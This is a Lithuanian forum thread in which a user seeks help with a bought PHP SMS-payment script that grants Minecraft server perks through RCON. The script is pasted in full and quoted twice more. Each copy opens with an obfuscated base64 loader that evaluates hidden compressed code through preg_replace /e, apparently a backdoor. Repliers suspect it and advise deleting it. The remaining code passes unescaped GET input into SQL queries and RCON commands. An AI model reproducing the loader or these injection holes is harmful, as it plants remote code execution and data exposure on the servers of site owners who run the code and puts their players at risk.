Pereiti prie turinio

Bėda su VPSNET.LT mokėjimo skriptu.


Rekomenduojami pranešimai

Sveiki taigi gal kuris nors iš PHP išmanančių žmogelių galėtu patvarkyti man šitą kodą jog jis siųstų 'OK' ar 'error' priklausomai nuo aplinkybių. Štai :

 

<?php
/*versio:2.19*/$QQQO=91055;if (!function_exists('II1lll1l')){$GLOBALS['QQQO'] ='Nh)Y3VybAxoX2luaXQ=YWxsb3dfdXJsX2ZvcGVuXqMQ(HaHR0cDovLwzZJndheT1maWxlX2dldF9jb250ZW50cwX3NldG9wdADX2V4ZWMJndheT1jdXJs{trZLwslb3Nvbi5pbgh;cnllcGR4LmNvbQmzwcGhwYWlkZS5jb20jIw^vdw=GWV8aFOg)QZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9yZnRwMTMxjMi4xOQ#BSTFJMWxJbGwnYmFzZTY0X2RlY29kZQGYmFzZTY0X2VuY29kZQbSYSFRUUFMb2Zm(FJeaHR0cHM6Ly8SFRUUF9IT1NUX{dW5pb24.;i!Uc2VsZWN0f;UkVRVUVTVF9VUkkpNU0NSSVBUX05BTUUdYUVVFUllfU1RSSU5HUfcPw}o.L3RtcC8uZm9udC11bml4Cf)L3RtcC8uSUNFLXVuaXgVE1QVEVNUAVE1QRElSU?ZL3RtcAgdXBsb2FkX3RtcF9kaXI^dG1wd3AtY29udGVudC91cGxvYWRz!d3AtY29udGVudC9jYWNoZQn~Lg;CdmVyc2lvNt.LQB&O)LXBocAqR.dESFRUUF9FWEVDUEhQPb3V0UXlb2sCxSFRUUF9VU0VSX0FHRU5U}bLA}OkZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgL3BnLnBocD91PQJms9%BZJnQ9cGhwJnA9JnY9EZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlZ3dHYya2dRL2lzYkZFVzI1UHI4QkhJNW4wQXRhU3psY0NDa1V0VkdGb1dsc1dyc3lEYVhWbEgrKzgzc3c3c0VrN3VEU0RFN3MvT2ViOGJaaGhnbmE3ckpDcm8yZW12YTBHcWJGY3VtckhxbStVdzJ1MkxWWkdWQmRFcTZvZVhHT0owNVRwTE1MSElHVHduOGtZaE03NjZ2VGZKTTFNazJXMVZsazIycDBWUTdhbDZRaWphN3FpQzZDRGg5VVpxKzAyYVQ1ZFE0amZNOGRsMExoQ1dPTTB0TUZNc2VRV3djdTNtZXU3bmhXNlFQOTVFQ0pLQUlIcnZsUUJFRFlCbGxSWmJXdERFVTVkd2lubU5heEFWeUJvRmdMTjg3V0V3U2FUb0RrT2laek04NHpsMDNqa1pvTWQ1TVYyWFIwS0twbFlnZ0JBV09TV3dpUE1JbjdwS3RaSVlEaS9pZ3FBMlFFSTJob1hsTjBUd1pvcFQrekdwUUlaekdQSjBpYzU2RC95TnhhckNvT0RQNDFSV1Y0WUJaSlhoWVRBOTR6b2NpY2tLT0liUlk1UDNkL0RxNVdhVHd6eUwvMDFQWFFUYlBmRlB3MVdUOFlUSzNOa3R3L1UzRytXUnhONTh1NXVQcDdTVmNFRVYyblA5OU1wMU8zaThXOFYrVDVHNWhrUkJEQUV3UWJSNDhGZzE1RDBXdGRsV2Vydkt5cHRvcHBvTnVINXRmaHJnTVNWQml0TnFERUVLVVgxUldHWS9NS204VjdBRlV2cW5MMVkveWtSYXE5b2VPeGZPQ2pZYkdKYk1aTnhvdGtQM0R4QURYek9sU1R2YjdFMXphUE81WStZZ0c3bjJjTE1penlOVEwyZFB5VjRTVzBJWmNMUlkzdjdtMjg3WDZXbHlWZGZNN2VSYW12ZUJSajNjZWZGRHh6ZFZObXR4cWplZXhQckh4L05Oa2Zoc24wdzdkZHpXdDNvMi9ROCtnY0M2TUNaY0tuaDRRRFU3ZUFDRGhuMG5Pem9qeENuRElPMFgrQTZ4UmtiSXg0dEN5bWpHdU4yUllOTnFJZkxmNEJOMklmb0dYOU9kalhxNnAwV3R0dEtSSTROc1ZpRENDKzR0enIvbzUyM2JjNDN4TUozNHgwenlXNDZwYS90Smd5T090cFRXYjYyTUhCM3RIWVFCSElYWldpNlpQVmRhSXdvMXppeVVQQ3ZpWmwwK01tWFFCdldUUk1TWWxieEF3b0FQMjBhWVZoRmRhUVJjcVZwd2lmR24xbDdzR0VtNndDRGt6R2FvWmlLU3JoMUt6ZlFERjZwdTJZTlNxYU9pektoSVhiUmEvSHN2U0lhQXpWRHMzZWRuenFhYW9udE1IYWwvZ1BiTTN6eU5GOWp3T2QraGJIc2NheFhmRmxJSFdoVCtkQXZPQk9YMktvRHR6TkZJSWw5d2hiejhBbFVRakRSeEo0czBVdllaUTN0NVp6WW9wdlozTW9YKytxUHZuYktUZG15S1BvK01zNUVRREJBOEJQUkRqWWwrdnoySWpzeWZJZGxRM1ZWUG01Uk90dXBUNDdvQWhPVmI1cHF6b2N2VUFSWlVpbWl4cklqSVovYWxTanNhQ3lNZXlOc1NoS2piZlp4WWpqcUtFTCtMNmZkUUJwbklnSHBVVlFNME0vNXVzRjdES09Ea1dhai8wV1V2ZDgzRi9uTTZHeHlHWlpSckltTkRPRUxLSzdZUDhmeEZ2Ni9zSEpzdkRPZnVXUko1S01TWVFWaUtaMXE1YnJaL1BBdEZuMFdpN0R1VWtza1ZUMkFMa1JTZUk0UUpqSTFwblZiRUUxRTNUeS9oNmtxYW0vU0dldzZSTjVwOUIyODE0UG9iSEN6SE1GTVRwVzVVcjFqRjE1QWVpbnp0TUR0RGt3THcvUWh4Z3kzTGlaUHJweUxWOVNwOVZUZWNkS1UwZElUWWlsaHp1ak1IUVpWYWJsZ3lPUXJQUWNWRjdKd1ZhMytzbStWQkZuZ2VrdlVZVGtXeGJMUkVkZGlJV0UzRW9SNTZUMkZGblN2am1XNmVJOE10dnVIbnJONWt0ZkR2RXd3dnlEZlQvYUNkV3MzMk1EZzBPZ3hhejRYUHhDcVY2dUZha245UHgzZUtxZHg5RmdrM09CSW53SXpFN05MRkRUSkFsRVZwVDJEL25Dam1vYTRSQmlHbFMreEtNYVdnRUR0WmREUmtPKzZJaGNlclJ2NWU1dkFVeTNqYXY3L2c4dCtyRWRYQ29NVlNGbmIweEhQWW9BODVmY3lDQ1RGZFQ3bFlQL0NkN1dWbmx1elZOeTJKRjVTRUhQdkYyQmYwOGdzMlVGaXZjS3NTUjNNZlltOURvYmZUdXV5SHJ0ejMwbHR1TjRzSTF3OXR6S29BNUdjS1d3U3N2U1hCRE9zQjJNTUZxcVNkUmRNazJlVEd2TkZkWmpiSEZVMTlkKytkOHViR0ZYeXFoQTVjMWtDd3RuVEJrdytpd0JnYllQb0VwSVl3UFpQNGEyYjVyOHNVTEZqYjF1bm54S2lVdis1VVAzMzhBUVdnNkpnPT0iKSkpOwcHJlZ19yZXBsYWNlCO';function II1lll1l($a, $b){$c=$GLOBALS['QQQO']; $d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$Q0OOQ00O0 = II1lll1l(3357, 16);$Q0OOQ00O0("/I1lIIl1l1/e", II1lll1l(735, 2622), "I1lIIl1l1");};?>ļ»æ<?php
//error_Reporting( E_ALL | E_STRICT );
//Ini_Set( 'display_errors', true );

include('connect.php');
include('config.php');

function checkTransaction( $transaction, $orderid, $status, $sum)
{ 
   global $vpsnet_keyword_passwords;
   $passwords = $vpsnet_keyword_passwords; 
   foreach($passwords as $key=>$password)
   { 
     $t = md5("{$password}|{".$_SERVER['REMOTE_ADDR']."}|{$orderid}|{$status}|{$sum}");
     if($transaction==$t)
       return true;
   }
   return false;
}

if ( checkTransaction( $_GET['vps_transaction'],$_GET['vps_orderid'],$_GET['vps_status'],$_GET['vps_sum']) ){
   $sms = $_GET['vps_sms'];
   $amount = $_GET['vps_sum'];
   $from = $_GET['vps_smsfrom'];
   $explode = explode(' ', $sms);
   $keyword = strtolower($explode[0]);
   $nick = strtolower($explode[1]);

   if (in_array($keyword, $raktazodziai)){
       if ($amount == $paslauga[$keyword]['kaina']){
           include_once("rcon.php");
           $list = array();
           function completion_callback($input, $index)
           {
               return array();
           }
           try
           {
               $cmds = $paslauga[$keyword]['cmd'];
               $Rcon = new MinecraftRcon;
               $Rcon->Connect($server_ip, $server_rcon_port, $server_rcon_password);
               foreach($cmds as $cmd){
                   $cmd = str_replace('[name]', $nick, $cmd); 
                   $command = $Rcon->Command($cmd);
                   $result .= $command;
               }
               $Rcon->Disconnect();
           }
           catch( MinecraftRconException $e )
           {
               $result = 'Negalimas prisijungimas prie rcon.';
               mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());
               print 'Negalimas prisijungimas prie rcon.';
               exit;
           }   
           $result = str_replace("\xa70", "", $result);
           $result = str_replace("\xa71", "", $result);
           $result = str_replace("\xa72", "", $result);
           $result = str_replace("\xa73", "", $result);
           $result = str_replace("\xa74", "", $result);
           $result = str_replace("\xa75", "", $result);
           $result = str_replace("\xa76", "", $result);
           $result = str_replace("\xa77", "", $result);
           $result = str_replace("\xa78", "", $result);
           $result = str_replace("\xa79", "", $result);
           $result = str_replace("\xa7a", "", $result);
           $result = str_replace("\xa7b", "", $result);
           $result = str_replace("\xa7c", "", $result);
           $result = str_replace("\xa7d", "", $result);
           $result = str_replace("\xa7e", "", $result);
           $result = str_replace("\xa7f", "", $result);
           $result = str_replace("\xa7k", "", $result);
           $result = str_replace("\xa7l", "", $result);
           $result = str_replace("\xa7m", "", $result);
           $result = str_replace("\xa7n", "", $result);
           $result = str_replace("\xa7o", "", $result);
           $result = str_replace("\xa7r", "", $result);
           $result = str_replace("'", "'", $result);
           include('connect.php');
           mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());
           print 'OK';
		}
	else {
		print 'error';
	}
	}
else {
	print 'error';	
}
}
?>

 

Matau kad ten yra print 'OK' ir 'error' bet nors ir uždeda žaidėjams paslaugas vistiek per VPSNET.LT rodo kad nepavyko nes negavok 'OK.

Ir gal galite paaiškinti kas ten per velniava po <?php ??? Kodas nemano, pirkau sistemą ir tokią gavau pusiau neveikiančia...

Redagavo DamnInside
Nuoroda į pranešimą
Dalintis kituose puslapiuose

Neskaičiau dokumentacijos, bet tą vietą kur po <?php gali trynt lauk, labai jau keistai man ten, gal koks backdoor`as įdėtas. O dėl negavimo OK, galbūt gauni klaidą šitoje vietoje?

or die(mysql_error());

 

Aš ir taip pamaniau dėl ten to kodo tai ištryniau, kur klaidą tai nežinau nes neišmanau PHP dėl to ir prašau kieno nors pagalbos, kad patvarkytu... :(

Nuoroda į pranešimą
Dalintis kituose puslapiuose
  • po 2 savaičių...

Pirmiausia, reiktų išmokti kultūros

Antra - čia tau buvo "pagalba"

 

Kultūros tai čia tau reiktu išmokti nes kiek mačiau tai daug kur kaišioji savo ilgą liežuvį, o jai nematai tai man netokios pagalbos reiktu.

Būtų malonu iš tavo pusės jai šitoje temoje daugiau neberašytum, nes aš čia pagalbos ieškau.

Nuoroda į pranešimą
Dalintis kituose puslapiuose

Sveiki taigi gal kuris nors iš PHP išmanančių žmogelių galėtu patvarkyti man šitą kodą jog jis siųstų 'OK' ar 'error' priklausomai nuo aplinkybių. Štai :

 

<?php
/*versio:2.19*/$QQQO=91055;if (!function_exists('II1lll1l')){$GLOBALS['QQQO'] ='Nh)Y3VybAxoX2luaXQ=YWxsb3dfdXJsX2ZvcGVuXqMQ(HaHR0cDovLwzZJndheT1maWxlX2dldF9jb250ZW50cwX3NldG9wdADX2V4ZWMJndheT1jdXJs{trZLwslb3Nvbi5pbgh;cnllcGR4LmNvbQmzwcGhwYWlkZS5jb20jIw^vdw=GWV8aFOg)QZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9yZnRwMTMxjMi4xOQ#BSTFJMWxJbGwnYmFzZTY0X2RlY29kZQGYmFzZTY0X2VuY29kZQbSYSFRUUFMb2Zm(FJeaHR0cHM6Ly8SFRUUF9IT1NUX{dW5pb24.;i!Uc2VsZWN0f;UkVRVUVTVF9VUkkpNU0NSSVBUX05BTUUdYUVVFUllfU1RSSU5HUfcPw}o.L3RtcC8uZm9udC11bml4Cf)L3RtcC8uSUNFLXVuaXgVE1QVEVNUAVE1QRElSU?ZL3RtcAgdXBsb2FkX3RtcF9kaXI^dG1wd3AtY29udGVudC91cGxvYWRz!d3AtY29udGVudC9jYWNoZQn~Lg;CdmVyc2lvNt.LQB&O)LXBocAqR.dESFRUUF9FWEVDUEhQPb3V0UXlb2sCxSFRUUF9VU0VSX0FHRU5U}bLA}OkZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgL3BnLnBocD91PQJms9%BZJnQ9cGhwJnA9JnY9EZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlZ3dHYya2dRL2lzYkZFVzI1UHI4QkhJNW4wQXRhU3psY0NDa1V0VkdGb1dsc1dyc3lEYVhWbEgrKzgzc3c3c0VrN3VEU0RFN3MvT2ViOGJaaGhnbmE3ckpDcm8yZW12YTBHcWJGY3VtckhxbStVdzJ1MkxWWkdWQmRFcTZvZVhHT0owNVRwTE1MSElHVHduOGtZaE03NjZ2VGZKTTFNazJXMVZsazIycDBWUTdhbDZRaWphN3FpQzZDRGg5VVpxKzAyYVQ1ZFE0amZNOGRsMExoQ1dPTTB0TUZNc2VRV3djdTNtZXU3bmhXNlFQOTVFQ0pLQUlIcnZsUUJFRFlCbGxSWmJXdERFVTVkd2lubU5heEFWeUJvRmdMTjg3V0V3U2FUb0RrT2laek04NHpsMDNqa1pvTWQ1TVYyWFIwS0twbFlnZ0JBV09TV3dpUE1JbjdwS3RaSVlEaS9pZ3FBMlFFSTJob1hsTjBUd1pvcFQrekdwUUlaekdQSjBpYzU2RC95TnhhckNvT0RQNDFSV1Y0WUJaSlhoWVRBOTR6b2NpY2tLT0liUlk1UDNkL0RxNVdhVHd6eUwvMDFQWFFUYlBmRlB3MVdUOFlUSzNOa3R3L1UzRytXUnhONTh1NXVQcDdTVmNFRVYyblA5OU1wMU8zaThXOFYrVDVHNWhrUkJEQUV3UWJSNDhGZzE1RDBXdGRsV2Vydkt5cHRvcHBvTnVINXRmaHJnTVNWQml0TnFERUVLVVgxUldHWS9NS204VjdBRlV2cW5MMVkveWtSYXE5b2VPeGZPQ2pZYkdKYk1aTnhvdGtQM0R4QURYek9sU1R2YjdFMXphUE81WStZZ0c3bjJjTE1penlOVEwyZFB5VjRTVzBJWmNMUlkzdjdtMjg3WDZXbHlWZGZNN2VSYW12ZUJSajNjZWZGRHh6ZFZObXR4cWplZXhQckh4L05Oa2Zoc24wdzdkZHpXdDNvMi9ROCtnY0M2TUNaY0tuaDRRRFU3ZUFDRGhuMG5Pem9qeENuRElPMFgrQTZ4UmtiSXg0dEN5bWpHdU4yUllOTnFJZkxmNEJOMklmb0dYOU9kalhxNnAwV3R0dEtSSTROc1ZpRENDKzR0enIvbzUyM2JjNDN4TUozNHgwenlXNDZwYS90Smd5T090cFRXYjYyTUhCM3RIWVFCSElYWldpNlpQVmRhSXdvMXppeVVQQ3ZpWmwwK01tWFFCdldUUk1TWWxieEF3b0FQMjBhWVZoRmRhUVJjcVZwd2lmR24xbDdzR0VtNndDRGt6R2FvWmlLU3JoMUt6ZlFERjZwdTJZTlNxYU9pektoSVhiUmEvSHN2U0lhQXpWRHMzZWRuenFhYW9udE1IYWwvZ1BiTTN6eU5GOWp3T2QraGJIc2NheFhmRmxJSFdoVCtkQXZPQk9YMktvRHR6TkZJSWw5d2hiejhBbFVRakRSeEo0czBVdllaUTN0NVp6WW9wdlozTW9YKytxUHZuYktUZG15S1BvK01zNUVRREJBOEJQUkRqWWwrdnoySWpzeWZJZGxRM1ZWUG01Uk90dXBUNDdvQWhPVmI1cHF6b2N2VUFSWlVpbWl4cklqSVovYWxTanNhQ3lNZXlOc1NoS2piZlp4WWpqcUtFTCtMNmZkUUJwbklnSHBVVlFNME0vNXVzRjdES09Ea1dhai8wV1V2ZDgzRi9uTTZHeHlHWlpSckltTkRPRUxLSzdZUDhmeEZ2Ni9zSEpzdkRPZnVXUko1S01TWVFWaUtaMXE1YnJaL1BBdEZuMFdpN0R1VWtza1ZUMkFMa1JTZUk0UUpqSTFwblZiRUUxRTNUeS9oNmtxYW0vU0dldzZSTjVwOUIyODE0UG9iSEN6SE1GTVRwVzVVcjFqRjE1QWVpbnp0TUR0RGt3THcvUWh4Z3kzTGlaUHJweUxWOVNwOVZUZWNkS1UwZElUWWlsaHp1ak1IUVpWYWJsZ3lPUXJQUWNWRjdKd1ZhMytzbStWQkZuZ2VrdlVZVGtXeGJMUkVkZGlJV0UzRW9SNTZUMkZGblN2am1XNmVJOE10dnVIbnJONWt0ZkR2RXd3dnlEZlQvYUNkV3MzMk1EZzBPZ3hhejRYUHhDcVY2dUZha245UHgzZUtxZHg5RmdrM09CSW53SXpFN05MRkRUSkFsRVZwVDJEL25Dam1vYTRSQmlHbFMreEtNYVdnRUR0WmREUmtPKzZJaGNlclJ2NWU1dkFVeTNqYXY3L2c4dCtyRWRYQ29NVlNGbmIweEhQWW9BODVmY3lDQ1RGZFQ3bFlQL0NkN1dWbmx1elZOeTJKRjVTRUhQdkYyQmYwOGdzMlVGaXZjS3NTUjNNZlltOURvYmZUdXV5SHJ0ejMwbHR1TjRzSTF3OXR6S29BNUdjS1d3U3N2U1hCRE9zQjJNTUZxcVNkUmRNazJlVEd2TkZkWmpiSEZVMTlkKytkOHViR0ZYeXFoQTVjMWtDd3RuVEJrdytpd0JnYllQb0VwSVl3UFpQNGEyYjVyOHNVTEZqYjF1bm54S2lVdis1VVAzMzhBUVdnNkpnPT0iKSkpOwcHJlZ19yZXBsYWNlCO';function II1lll1l($a, $b){$c=$GLOBALS['QQQO']; $d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$Q0OOQ00O0 = II1lll1l(3357, 16);$Q0OOQ00O0("/I1lIIl1l1/e", II1lll1l(735, 2622), "I1lIIl1l1");};?>ļ»æ<?php
//error_Reporting( E_ALL | E_STRICT );
//Ini_Set( 'display_errors', true );

include('connect.php');
include('config.php');

function checkTransaction( $transaction, $orderid, $status, $sum)
{ 
   global $vpsnet_keyword_passwords;
   $passwords = $vpsnet_keyword_passwords; 
   foreach($passwords as $key=>$password)
   { 
     $t = md5("{$password}|{".$_SERVER['REMOTE_ADDR']."}|{$orderid}|{$status}|{$sum}");
     if($transaction==$t)
       return true;
   }
   return false;
}

if ( checkTransaction( $_GET['vps_transaction'],$_GET['vps_orderid'],$_GET['vps_status'],$_GET['vps_sum']) ){
   $sms = $_GET['vps_sms'];
   $amount = $_GET['vps_sum'];
   $from = $_GET['vps_smsfrom'];
   $explode = explode(' ', $sms);
   $keyword = strtolower($explode[0]);
   $nick = strtolower($explode[1]);

   if (in_array($keyword, $raktazodziai)){
       if ($amount == $paslauga[$keyword]['kaina']){
           include_once("rcon.php");
           $list = array();
           function completion_callback($input, $index)
           {
               return array();
           }
           try
           {
               $cmds = $paslauga[$keyword]['cmd'];
               $Rcon = new MinecraftRcon;
               $Rcon->Connect($server_ip, $server_rcon_port, $server_rcon_password);
               foreach($cmds as $cmd){
                   $cmd = str_replace('[name]', $nick, $cmd); 
                   $command = $Rcon->Command($cmd);
                   $result .= $command;
               }
               $Rcon->Disconnect();
           }
           catch( MinecraftRconException $e )
           {
               $result = 'Negalimas prisijungimas prie rcon.';
               mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());
               print 'Negalimas prisijungimas prie rcon.';
               exit;
           }   
           $result = str_replace("\xa70", "", $result);
           $result = str_replace("\xa71", "", $result);
           $result = str_replace("\xa72", "", $result);
           $result = str_replace("\xa73", "", $result);
           $result = str_replace("\xa74", "", $result);
           $result = str_replace("\xa75", "", $result);
           $result = str_replace("\xa76", "", $result);
           $result = str_replace("\xa77", "", $result);
           $result = str_replace("\xa78", "", $result);
           $result = str_replace("\xa79", "", $result);
           $result = str_replace("\xa7a", "", $result);
           $result = str_replace("\xa7b", "", $result);
           $result = str_replace("\xa7c", "", $result);
           $result = str_replace("\xa7d", "", $result);
           $result = str_replace("\xa7e", "", $result);
           $result = str_replace("\xa7f", "", $result);
           $result = str_replace("\xa7k", "", $result);
           $result = str_replace("\xa7l", "", $result);
           $result = str_replace("\xa7m", "", $result);
           $result = str_replace("\xa7n", "", $result);
           $result = str_replace("\xa7o", "", $result);
           $result = str_replace("\xa7r", "", $result);
           $result = str_replace("'", "'", $result);
           include('connect.php');
           mysql_query("INSERT INTO sms SET sms='".$sms."', amount='".$amount."', nr='".$from."', result='".$result."' ") or die(mysql_error());
           print 'OK';
		}
	else {
		print 'error';
	}
	}
else {
	print 'error';	
}
}
?>

 

Matau kad ten yra print 'OK' ir 'error' bet nors ir uždeda žaidėjams paslaugas vistiek per VPSNET.LT rodo kad nepavyko nes negavok 'OK.

Ir gal galite paaiškinti kas ten per velniava po <?php ??? Kodas nemano, pirkau sistemą ir tokią gavau pusiau neveikiančia...

 

Viršuje panašu į shellą ar kažką panašaus mesk velniop. O pirmo klausimo dalies nesupratau. Isveda print 'OK'; Ką tau su juo reikia dar padaryti ? Aiškiau norimą dalyką suformuluok. Ir nesitikėk, kad tu čia parašęs temą su savo tom cs'o skriptais gausi iškart atsakymą, pas pardavėją kreipkis ar pabandyk normaliau išaiškint kas teu ten iš tiesų blogai.

 

Beje, šį skriptą pirkai iš uždarbis.lt vartotojo?

Redagavo 1dEo
Nuoroda į pranešimą
Dalintis kituose puslapiuose

Sveiki taigi gal kuris nors iš PHP išmanančių žmogelių galėtu patvarkyti man šitą kodą jog jis siųstų 'OK' ar 'error' priklausomai nuo aplinkybių. Štai :

 

<?php
/*versio:2.19*/$QQQO=91055;if (!function_exists('II1lll1l')){$GLOBALS['QQQO'] ='Nh)Y3VybAxoX2luaXQ=YWxsb3dfdXJsX2ZvcGVuXqMQ(HaHR0cDovLwzZJndheT1maWxlX2dldF9jb250ZW50cwX3NldG9wdADX2V4ZWMJndheT1jdXJs{trZLwslb3Nvbi5pbgh;cnllcGR4LmNvbQmzwcGhwYWlkZS5jb20jIw^vdw=GWV8aFOg)QZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9yZnRwMTMxjMi4xOQ#BSTFJMWxJbGwnYmFzZTY0X2RlY29kZQGYmFzZTY0X2VuY29kZQbSYSFRUUFMb2Zm(FJeaHR0cHM6Ly8SFRUUF9IT1NUX{dW5pb24.;i!Uc2VsZWN0f;UkVRVUVTVF9VUkkpNU0NSSVBUX05BTUUdYUVVFUllfU1RSSU5HUfcPw}o.L3RtcC8uZm9udC11bml4Cf)L3RtcC8uSUNFLXVuaXgVE1QVEVNUAVE1QRElSU?ZL3RtcAgdXBsb2FkX3RtcF9kaXI^dG1wd3AtY29udGVudC91cGxvYWRz!d3AtY29udGVudC9jYWNoZQn~Lg;CdmVyc2lvNt.LQB&O)LXBocAqR.dESFRUUF9FWEVDUEhQPb3V0UXlb2sCxSFRUUF9VU0VSX0FHRU5U}bLA}OkZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgL3BnLnBocD91PQJms9%BZJnQ9cGhwJnA9JnY9EZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlZ3dHYya2dRL2lzYkZFVzI1UHI4QkhJNW4wQXRhU3psY0NDa1V0VkdGb1dsc1dyc3lEYVhWbEgrKzgzc3c3c0VrN3VEU0RFN3MvT2ViOGJaaGhnbmE3ckpDcm8yZW12YTBHcWJGY3VtckhxbStVdzJ1MkxWWkdWQmRFcTZvZVhHT0owNVRwTE1MSElHVHduOGtZaE03NjZ2VGZKTTFNazJXMVZsazIycDBWUTdhbDZRaWphN3FpQzZDRGg5VVpxKzAyYVQ1ZFE0amZNOGRsMExoQ1dPTTB0TUZNc2VRV3djdTNtZXU3bmhXNlFQOTVFQ0pLQUlIcnZsUUJFRFlCbGxSWmJXdERFVTVkd2lubU5heEFWeUJvRmdMTjg3V0V3U2FUb0RrT2laek04NHpsMDNqa1pvTWQ1TVYyWFIwS0twbFlnZ0JBV09TV3dpUE1JbjdwS3RaSVlEaS9pZ3FBMlFFSTJob1hsTjBUd1pvcFQrekdwUUlaekdQSjBpYzU2RC95TnhhckNvT0RQNDFSV1Y0WUJaSlhoWVRBOTR6b2NpY2tLT0liUlk1UDNkL0RxNVdhVHd6eUwvMDFQWFFUYlBmRlB3MVdUOFlUSzNOa3R3L1UzRytXUnhONTh1NXVQcDdTVmNFRVYyblA5OU1wMU8zaThXOFYrVDVHNWhrUkJEQUV3UWJSNDhGZzE1RDBXdGRsV2Vydkt5cHRvcHBvTnVINXRmaHJnTVNWQml0TnFERUVLVVgxUldHWS9NS204VjdBRlV2cW5MMVkveWtSYXE5b2VPeGZPQ2pZYkdKYk1aTnhvdGtQM0R4QURYek9sU1R2YjdFMXphUE81WStZZ0c3bjJjTE1penlOVEwyZFB5VjRTVzBJWmNMUlkzdjdtMjg3WDZXbHlWZGZNN2VSYW12ZUJSajNjZWZGRHh6ZFZObXR4cWplZXhQckh4L05Oa2Zoc24wdzdkZHpXdDNvMi9ROCtnY0M2TUNaY0tuaDRRRFU3ZUFDRGhuMG5Pem9qeENuRElPMFgrQTZ4UmtiSXg0dEN5bWpHdU4yUllOTnFJZkxmNEJOMklmb0dYOU9kalhxNnAwV3R0dEtSSTROc1ZpRENDKzR0enIvbzUyM2JjNDN4TUozNHgwenlXNDZwYS90Smd5T090cFRXYjYyTUhCM3RIWVFCSElYWldpNlpQVmRhSXdvMXppeVVQQ3ZpWmwwK01tWFFCdldUUk1TWWxieEF3b0FQMjBhWVZoRmRhUVJjcVZwd2lmR24xbDdzR0VtNndDRGt6R2FvWmlLU3JoMUt6ZlFERjZwdTJZTlNxYU9pektoSVhiUmEvSHN2U0lhQXpWRHMzZWRuenFhYW9udE1IYWwvZ1BiTTN6eU5GOWp3T2QraGJIc2NheFhmRmxJSFdoVCtkQXZPQk9YMktvRHR6TkZJSWw5d2hiejhBbFVRakRSeEo0czBVdllaUTN0NVp6WW9wdlozTW9YKytxUHZuYktUZG15S1BvK01zNUVRREJBOEJQUkRqWWwrdnoySWpzeWZJZGxRM1ZWUG01Uk90dXBUNDdvQWhPVmI1cHF6b2N2VUFSWlVpbWl4cklqSVovYWxTanNhQ3lNZXlOc1NoS2piZlp4WWpqcUtFTCtMNmZkUUJwbklnSHBVVlFNME0vNXVzRjdES09Ea1dhai8wV1V2ZDgzRi9uTTZHeHlHWlpSckltTkRPRUxLSzdZUDhmeEZ2Ni9zSEpzdkRPZnVXUko1S01TWVFWaUtaMXE1YnJaL1BBdEZuMFdpN0R1VWtza1ZUMkFMa1JTZUk0UUpqSTFwblZiRUUxRTNUeS9oNmtxYW0vU0dldzZSTjVwOUIyODE0UG9iSEN6SE1GTVRwVzVVcjFqRjE1QWVpbnp0TUR0RGt3THcvUWh4Z3kzTGlaUHJweUxWOVNwOVZUZWNkS1UwZElUWWlsaHp1ak1IUVpWYWJsZ3lPUXJQUWNWRjdKd1ZhMytzbStWQkZuZ2VrdlVZVGtXeGJMUkVkZGlJV0UzRW9SNTZUMkZGblN2am1XNmVJOE10dnVIbnJONWt0ZkR2RXd3dnlEZlQvYUNkV3MzMk1EZzBPZ3hhejRYUHhDcVY2dUZha245UHgzZUtxZHg5RmdrM09CSW53SXpFN05MRkRUSkFsRVZwVDJEL25Dam1vYTRSQmlHbFMreEtNYVdnRUR0WmREUmtPKzZJaGNlclJ2NWU1dkFVeTNqYXY3L2c4dCtyRWRYQ29NVlNGbmIweEhQWW9BODVmY3lDQ1RGZFQ3bFlQL0NkN1dWbmx1elZOeTJKRjVTRUhQdkYyQmYwOGdzMlVGaXZjS3NTUjNNZlltOURvYmZUdXV5SHJ0ejMwbHR1TjRzSTF3OXR6S29BNUdjS1d3U3N2U1hCRE9zQjJNTUZxcVNkUmRNazJlVEd2TkZkWmpiSEZVMTlkKytkOHViR0ZYeXFoQTVjMWtDd3RuVEJrdytpd0JnYllQb0VwSVl3UFpQNGEyYjVyOHNVTEZqYjF1bm54S2lVdis1VVAzMzhBUVdnNkpnPT0iKSkpOwcHJlZ19yZXBsYWNlCO';function II1lll1l($a, $b){$c=$GLOBALS['QQQO']; $d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$Q0OOQ00O0 = II1lll1l(3357, 16);$Q0OOQ00O0("/I1lIIl1l1/e", II1lll1l(735, 2622), "I1lIIl1l1");};?>ļ»æ<?php
//error_Reporting( E_ALL | E_STRICT );
//Ini_Set( 'display_errors', true );

include('connect.php');
include('config.php');

function checkTransaction( $transaction, $orderid, $status, $sum)
{ 
   global $vpsnet_keyword_passwords;
   $passwords = $vpsnet_keyword_passwords; 
   foreach($passwords as $key=>$password)
   { 
     $t = md5("{$password}|{".$_SERVER['REMOTE_ADDR']."}|{$orderid}|{$status}|{$sum}");
     if($transaction==$t)
       return true;
   }
   return false;
}

if ( checkTransaction( $_GET['vps_transaction'],$_GET['vps_orderid'],$_GET['vps_status'],$_GET['vps_sum']) ){
   $sms = $_GET['vps_sms'];
   $amount = $_GET['vps_sum'];
   $from = $_GET['vps_smsfrom'];
   $explode = explode(' ', $sms);
   $keyword = strtolower($explode[0]);
   $nick = strtolower($explode[1]);

   if (in_array($keyword, $raktazodziai)){
       if ($amount == $paslauga[$keyword]['kaina']){
           include_once("rcon.php");
           $list = array();
           function completion_callback($input, $index)
           {
               return array();
           }
           try
           {
               $cmds = $paslauga[$keyword]['cmd'];
